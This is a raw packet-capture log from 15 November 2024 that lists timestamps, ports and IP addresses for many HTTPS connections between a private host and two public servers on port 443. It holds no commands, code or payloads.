Nov 15, 2024 19:39:59.468297005 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.468439102 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.468456030 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.468466043 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.468471050 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.473155975 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.473198891 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.473254919 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.473263979 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.473320961 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475014925 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475050926 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.475100994 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475588083 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475588083 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475613117 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.475627899 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.475631952 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.475656986 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.477587938 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.478100061 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.478118896 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.478240013 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.478267908 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.478315115 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.478477955 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.478492975 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.478759050 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.478765011 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.608314037 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.608488083 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.608581066 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.608656883 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.608656883 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.608699083 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.608725071 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.610929966 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.610965014 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.611033916 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.611157894 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.611167908 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.695734024 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:59.695888042 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:59.696027994 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:59.987085104 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:59.987127066 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:00.210582972 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.211119890 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.211144924 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.211569071 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.211575031 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.213001013 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.213361979 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.213385105 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.213687897 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.213694096 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.222946882 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.224422932 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.224423885 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.224462986 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.224478960 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.340074062 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.341746092 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.341773033 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.341959953 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.342521906 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.342528105 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.342777014 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.342782974 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.342850924 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.342864037 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.342911959 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.343051910 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.343076944 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.343092918 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.343101025 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.343101978 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.343117952 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.343130112 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.343136072 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.347500086 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.347527027 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.347606897 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.348067045 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.348078966 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.348958015 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.348994017 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.349070072 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.349208117 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.349226952 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.351135015 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.351186037 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.351346970 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.351368904 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.351368904 CET	50048	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.351381063 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.351388931 CET	443	50048	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.353146076 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.353230000 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.353354931 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.353461027 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.353494883 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.441150904 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.445245981 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.445274115 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.445529938 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.445538998 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.468852997 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.468921900 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.469031096 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.469083071 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.469240904 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.469573021 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.469584942 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.469639063 CET	50050	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.469647884 CET	443	50050	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.474534035 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.474565029 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.474634886 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.474909067 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.474922895 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.573793888 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.574100971 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.574168921 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.575031996 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.575031996 CET	50049	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.575056076 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.575067043 CET	443	50049	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.585429907 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.585478067 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:00.585557938 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.586374044 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:00.586390972 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.082300901 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.125334978 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.125389099 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.128678083 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.128693104 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.154710054 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.155185938 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.155222893 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.155678034 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.155685902 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.208797932 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.230078936 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.230103970 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.230743885 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.230750084 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.283699989 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.283883095 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.283929110 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.283965111 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.284013987 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.292702913 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.292994022 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.293078899 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.300221920 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.300249100 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.300267935 CET	50056	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.300276041 CET	443	50056	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.301328897 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.301352024 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.301366091 CET	50057	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.301373005 CET	443	50057	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.303885937 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.303915977 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.303941011 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.303967953 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.303985119 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.304053068 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.304105997 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.304116964 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.304260969 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.304270029 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.326874018 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.332897902 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.332930088 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.334160089 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.334172010 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.391628981 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.391706944 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.391796112 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.391830921 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.391865969 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.391921997 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.392541885 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.392558098 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.392589092 CET	50058	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.392596960 CET	443	50058	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.396024942 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.396060944 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.396253109 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.396253109 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.396281958 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.461240053 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.461427927 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.461504936 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.461646080 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.461679935 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.461705923 CET	50059	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.461719990 CET	443	50059	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.464813948 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.464845896 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.464921951 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.465087891 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.465099096 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.579619884 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.580172062 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.580193996 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.580823898 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.580828905 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.711019039 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.711162090 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.711338997 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.711395025 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.711420059 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.711435080 CET	50055	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.711442947 CET	443	50055	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.714612961 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.714647055 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:01.714730024 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.714960098 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:01.714971066 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.040864944 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.041311979 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.041377068 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.041758060 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.041771889 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.044126034 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.044492960 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.044531107 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.045115948 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.045121908 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.130760908 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.131361008 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.131391048 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.132011890 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.132016897 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.171602011 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.171765089 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.171848059 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.171998978 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.172053099 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.172089100 CET	50064	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.172105074 CET	443	50064	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.174978971 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175018072 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.175105095 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175198078 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.175263882 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.175292969 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175324917 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175331116 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.175385952 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175420046 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.175431013 CET	50063	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.175436020 CET	443	50063	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.178042889 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.178078890 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.178169966 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.178484917 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.178503036 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.207120895 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.207855940 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.207896948 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.208323002 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.208336115 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.258595943 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.258662939 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.258765936 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.258817911 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.258904934 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.259169102 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.259186029 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.259196043 CET	50068	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.259202003 CET	443	50068	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.262478113 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.262515068 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.262603998 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.262731075 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.262737989 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.337235928 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.337440968 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.337517977 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.337615013 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.337615013 CET	50069	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.337656975 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.337682962 CET	443	50069	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.340389013 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.340444088 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.340728998 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.340728998 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.340801954 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.649053097 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.650278091 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.650357008 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.650711060 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.650724888 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.790803909 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.791019917 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.791091919 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.791179895 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.791179895 CET	50070	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.791244984 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.791270971 CET	443	50070	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.799830914 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.799859047 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.799942017 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.800084114 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.800096035 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.909379959 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.910290003 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.910316944 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.910762072 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.910768986 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.912086010 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.912419081 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.912436962 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.912781000 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.912787914 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.990120888 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.990684986 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.990705013 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:02.991164923 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:02.991170883 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.041665077 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.041924953 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.042042017 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.042098999 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.042098999 CET	50073	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.042119026 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.042134047 CET	443	50073	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.044774055 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.044817924 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.044893980 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.045021057 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.045037031 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071492910 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071547031 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071621895 CET	50072	443	192.168.2.7	13.107.246.45
